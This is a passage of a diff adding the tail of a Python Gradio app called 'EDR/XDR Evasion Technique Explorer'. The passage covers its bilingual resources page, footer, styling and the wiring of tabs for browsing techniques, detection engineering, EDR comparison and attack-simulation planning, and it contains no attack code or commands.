+ Cabinet de conseil en cybers\u00e9curit\u00e9 sp\u00e9cialis\u00e9 en tests d\u2019intrusion et Red Team.
1681
+
1682
+ ### R\u00e9f\u00e9rences externes
1683
+
1684
+ - [MITRE ATT&CK Framework](https://attack.mitre.org/) - Base de connaissances des tactiques et techniques adverses
1685
+ - [Sigma Rules Repository](https://github.com/SigmaHQ/sigma) - R\u00e8gles de d\u00e9tection g\u00e9n\u00e9riques
1686
+ - [Atomic Red Team](https://github.com/redcanaryco/atomic-red-team) - Tests atomiques pour chaque technique ATT&CK
1687
+ - [LOLBAS Project](https://lolbas-project.github.io/) - Binaires Living off the Land
1688
+ - [Elastic Detection Rules](https://github.com/elastic/detection-rules) - R\u00e8gles de d\u00e9tection Elastic
1689
+ - [KQL Reference](https://learn.microsoft.com/en-us/azure/data-explorer/kusto/query/) - Documentation KQL Microsoft
1690
+
1691
+ ### Avertissement
1692
+
1693
+ Ce contenu est strictement \u00e9ducatif. Toute utilisation de ces techniques sans autorisation explicite est ill\u00e9gale.
1694
+ Consultez toujours le cadre l\u00e9gal applicable avant tout test de s\u00e9curit\u00e9.
1695
+ """
1696
+ else:
1697
+ return """## Resources
1698
+
1699
+ ### AYI-NEDJIMI Consultants Articles
1700
+
1701
+ - [Complete Guide: EDR/XDR Evasion](https://ayinedjimi-consultants.fr/articles/techniques-hacking/evasion-edr-xdr.html)
1702
+ In-depth analysis of evasion techniques and countermeasures.
1703
+
1704
+ - [Top 10 EDR/XDR Solutions 2025](https://ayinedjimi-consultants.fr/articles/top-10-solutions-edr-xdr-2025.html)
1705
+ Detailed comparison of the best endpoint protection solutions.
1706
+
1707
+ - [AYI-NEDJIMI Consultants Main Site](https://ayinedjimi-consultants.fr)
1708
+ Cybersecurity consulting firm specializing in penetration testing and Red Team operations.
1709
+
1710
+ ### External References
1711
+
1712
+ - [MITRE ATT&CK Framework](https://attack.mitre.org/) - Knowledge base of adversary tactics and techniques
1713
+ - [Sigma Rules Repository](https://github.com/SigmaHQ/sigma) - Generic detection rules
1714
+ - [Atomic Red Team](https://github.com/redcanaryco/atomic-red-team) - Atomic tests for each ATT&CK technique
1715
+ - [LOLBAS Project](https://lolbas-project.github.io/) - Living off the Land Binaries
1716
+ - [Elastic Detection Rules](https://github.com/elastic/detection-rules) - Elastic detection rules
1717
+ - [KQL Reference](https://learn.microsoft.com/en-us/azure/data-explorer/kusto/query/) - Microsoft KQL documentation
1718
+
1719
+ ### Disclaimer
1720
+
1721
+ This content is strictly educational. Any use of these techniques without explicit authorization is illegal.
1722
+ Always consult the applicable legal framework before any security testing.
1723
+ """
1724
+
1725
+
1726
+ # ---------------------------------------------------------------------------
1727
+ # Gradio application
1728
+ # ---------------------------------------------------------------------------
1729
+
1730
+ FOOTER_HTML = """
1731
+ <div style="text-align:center; padding:20px; margin-top:20px; border-top:1px solid #444; color:#aaa;">
1732
+ <p>Powered by <a href="https://ayinedjimi-consultants.fr" target="_blank" style="color:#e74c3c;">AYI-NEDJIMI Consultants</a>
1733
+ | <a href="https://ayinedjimi-consultants.fr/articles/techniques-hacking/evasion-edr-xdr.html" target="_blank" style="color:#e74c3c;">EDR/XDR Evasion Guide</a>
1734
+ | <a href="https://ayinedjimi-consultants.fr/articles/top-10-solutions-edr-xdr-2025.html" target="_blank" style="color:#e74c3c;">Top 10 EDR/XDR 2025</a></p>
1735
+ </div>
1736
+ """
1737
+
1738
+ CSS = """
1739
+ .gradio-container { max-width: 1200px !important; }
1740
+ .disclaimer-box {
1741
+ background: linear-gradient(135deg, #1a1a2e, #16213e);
1742
+ border: 1px solid #e74c3c;
1743
+ border-radius: 10px;
1744
+ padding: 15px;
1745
+ margin: 10px 0;
1746
+ text-align: center;
1747
+ color: #f0f0f0;
1748
+ }
1749
+ """
1750
+
1751
+
1752
+ def create_app():
1753
+ with gr.Blocks(css=CSS, title="EDR Evasion Explorer", theme=gr.themes.Base()) as app:
1754
+
1755
+ lang_state = gr.State("en")
1756
+
1757
+ # Header
1758
+ gr.HTML(
1759
+ '<h1 style="text-align:center; color:#e74c3c;">'
1760
+ "EDR/XDR Evasion Technique Explorer</h1>"
1761
+ )
1762
+ gr.HTML(
1763
+ '<div class="disclaimer-box">'
1764
+ "This content is strictly educational and intended for cybersecurity "
1765
+ "professionals to improve defenses. | "
1766
+ "Ce contenu est strictement \u00e9ducatif et destin\u00e9 aux professionnels "
1767
+ "de la cybers\u00e9curit\u00e9."
1768
+ "</div>"
1769
+ )
1770
+
1771
+ with gr.Row():
1772
+ lang_toggle = gr.Radio(
1773
+ choices=["EN", "FR"],
1774
+ value="EN",
1775
+ label="Language / Langue",
1776
+ )
1777
+
1778
+ # ---------------------------------------------------------------
1779
+ # Tab 1: Technique Browser
1780
+ # ---------------------------------------------------------------
1781
+ with gr.Tab("Technique Browser"):
1782
+ with gr.Row():
1783
+ cat_filter = gr.Dropdown(
1784
+ choices=["All"] + CATEGORIES,
1785
+ value="All",
1786
+ label="Category",
1787
+ )
1788
+ diff_filter = gr.Dropdown(
1789
+ choices=["All", "Easy", "Medium", "Hard", "Expert"],
1790
+ value="All",
1791
+ label="Difficulty",
1792
+ )
1793
+ technique_list = gr.Dropdown(
1794
+ choices=get_technique_names("en"),
1795
+ label="Select a technique",
1796
+ )
1797
+ technique_detail = gr.Markdown("")
1798
+
1799
+ def on_filter_change(cat, diff, lang):
1800
+ lang_code = "fr" if lang == "FR" else "en"
1801
+ all_label = t("all", lang_code)
1802
+ if cat == "All" or cat == "Toutes":
1803
+ cat = all_label
1804
+ if diff == "All" or diff == "Toutes":
1805
+ diff = all_label
1806
+ names = filter_techniques(cat, diff, lang_code)
1807
+ first_label = t("select_technique", lang_code)
1808
+ return gr.Dropdown(choices=names, label=first_label, value=None)
1809
+
1810
+ cat_filter.change(
1811
+ on_filter_change,
1812
+ inputs=[cat_filter, diff_filter, lang_toggle],
1813
+ outputs=[technique_list],
1814
+ )
1815
+ diff_filter.change(
1816
+ on_filter_change,
1817
+ inputs=[cat_filter, diff_filter, lang_toggle],
1818
+ outputs=[technique_list],
1819
+ )
1820
+
1821
+ def on_technique_select(name, lang):
1822
+ lang_code = "fr" if lang == "FR" else "en"
1823
+ if not name:
1824
+ return ""
1825
+ return build_technique_detail(name, lang_code)
1826
+
1827
+ technique_list.change(
1828
+ on_technique_select,
1829
+ inputs=[technique_list, lang_toggle],
1830
+ outputs=[technique_detail],
1831
+ )
1832
+
1833
+ # ---------------------------------------------------------------
1834
+ # Tab 2: Detection Engineering
1835
+ # ---------------------------------------------------------------
1836
+ with gr.Tab("Detection Engineering"):
1837
+ detect_technique_list = gr.Dropdown(
1838
+ choices=get_technique_names("en"),
1839
+ label="Select a technique for detection rules",
1840
+ )
1841
+ detection_detail = gr.Markdown("")
1842
+
1843
+ def on_detect_select(name, lang):
1844
+ lang_code = "fr" if lang == "FR" else "en"
1845
+ if not name:
1846
+ return ""
1847
+ return build_detection_detail(name, lang_code)
1848
+
1849
+ detect_technique_list.change(
1850
+ on_detect_select,
1851
+ inputs=[detect_technique_list, lang_toggle],
1852
+ outputs=[detection_detail],
1853
+ )
1854
+
1855
+ # ---------------------------------------------------------------
1856
+ # Tab 3: EDR Comparison
1857
+ # ---------------------------------------------------------------
1858
+ with gr.Tab("EDR Comparison"):
1859
+ edr_names = [e["name"] for e in EDR_SOLUTIONS]
1860
+ edr_selector = gr.CheckboxGroup(
1861
+ choices=edr_names,
1862
+ value=edr_names[:4],
1863
+ label="Select EDR/XDR Solutions to Compare",
1864
+ )
1865
+ radar_plot = gr.Plot(label="EDR Capabilities Radar")
1866
+ edr_table = gr.Dataframe(
1867
+ headers=["Solution", "Prevention", "Detection", "Response", "Threat Hunting", "MDR"],
1868
+ value=[[e["name"], e["prevention"], e["detection"], e["response"], e["threat_hunting"], e["mdr"]] for e in EDR_SOLUTIONS],
1869
+ label="EDR/XDR Comparison Table",
1870
+ )
1871
+
1872
+ def on_edr_change(selected, lang):
1873
+ lang_code = "fr" if lang == "FR" else "en"
1874
+ if not selected:
1875
+ selected = edr_names[:4]
1876
+ return build_radar_chart(selected, lang_code)
1877
+
1878
+ edr_selector.change(
1879
+ on_edr_change,
1880
+ inputs=[edr_selector, lang_toggle],
1881
+ outputs=[radar_plot],
1882
+ )
1883
+ # Initial chart
1884
+ app.load(
1885
+ on_edr_change,
1886
+ inputs=[edr_selector, lang_toggle],
1887
+ outputs=[radar_plot],
1888
+ )
1889
+
1890
+ # ---------------------------------------------------------------
1891
+ # Tab 4: Attack Simulation Planner
1892
+ # ---------------------------------------------------------------
1893
+ with gr.Tab("Attack Simulation Planner"):
1894
+ scenario_selector = gr.Dropdown(
1895
+ choices=SCENARIO_KEYS,
1896
+ label="Select an attack scenario",
1897
+ )
1898
+ scenario_detail = gr.Markdown("")
1899
+
1900
+ def on_scenario_select(scenario, lang):
1901
+ lang_code = "fr" if lang == "FR" else "en"
1902
+ if not scenario:
1903
+ return ""
1904
+ return build_scenario_detail(scenario, lang_code)
1905
+
1906
+ scenario_selector.change(
1907
+ on_scenario_select,
1908
+ inputs=[scenario_selector, lang_toggle],
1909
+ outputs=[scenario_detail],
1910
+ )
1911
+
1912
+ # ---------------------------------------------------------------
1913
+ # Tab 5: Resources
1914
+ # ---------------------------------------------------------------
1915
+ with gr.Tab("Resources"):
1916
+ resources_md = gr.Markdown(build_resources_md("en"))
1917
+
1918
+ # ---------------------------------------------------------------
1919
+ # Language toggle handler
1920
+ # ---------------------------------------------------------------
1921
+ def on_lang_change(lang_choice):
1922
+ lang_code = "fr" if lang_choice == "FR" else "en"
1923
+ all_label = t("all", lang_code)
1924
+ names = get_technique_names(lang_code)
1925
+ cat_choices = [all_label] + CATEGORIES
1926
+ diff_choices_list = [all_label] + [diff_label(d, lang_code) for d in ["Easy", "Medium", "Hard", "Expert"]]
1927
+ cat_lbl = t("category", lang_code)
1928
+ diff_lbl = t("difficulty", lang_code)
1929
+ sel_lbl = t("select_technique", lang_code)
1930
+ scn_lbl = t("select_scenario", lang_code)
1931
+
1932
+ scenario_choices = [SCENARIOS[k]["name"][lang_code] for k in SCENARIO_KEYS]
1933
+
1934
+ return [
1935
+ lang_choice,
1936
+ gr.Dropdown(choices=cat_choices, value=all_label, label=cat_lbl),
1937
+ gr.Dropdown(choices=diff_choices_list, value=all_label, label=diff_lbl),
1938
+ gr.Dropdown(choices=names, label=sel_lbl, value=None),
1939
+ "",
1940
+ gr.Dropdown(choices=names, label=sel_lbl, value=None),
1941
+ "",
1942
+ gr.Dropdown(choices=SCENARIO_KEYS, label=scn_lbl, value=None),
1943
+ "",
1944
+ build_resources_md(lang_code),
1945
+ ]
1946
+
1947
+ lang_toggle.change(
1948
+ on_lang_change,
1949
+ inputs=[lang_toggle],
1950
+ outputs=[
1951
+ lang_state,
1952
+ cat_filter,
1953
+ diff_filter,
1954
+ technique_list,
1955
+ technique_detail,
1956
+ detect_technique_list,
1957
+ detection_detail,
1958
+ scenario_selector,
1959
+ scenario_detail,
1960
+ resources_md,
1961
+ ],
1962
+ )
1963
+
1964
+ # Footer
1965
+ gr.HTML(FOOTER_HTML)
1966
+
1967
+ return app
1968
+
1969
+
1970
+ if __name__ == "__main__":
1971
+ demo = create_app()
1972
+ demo.launch()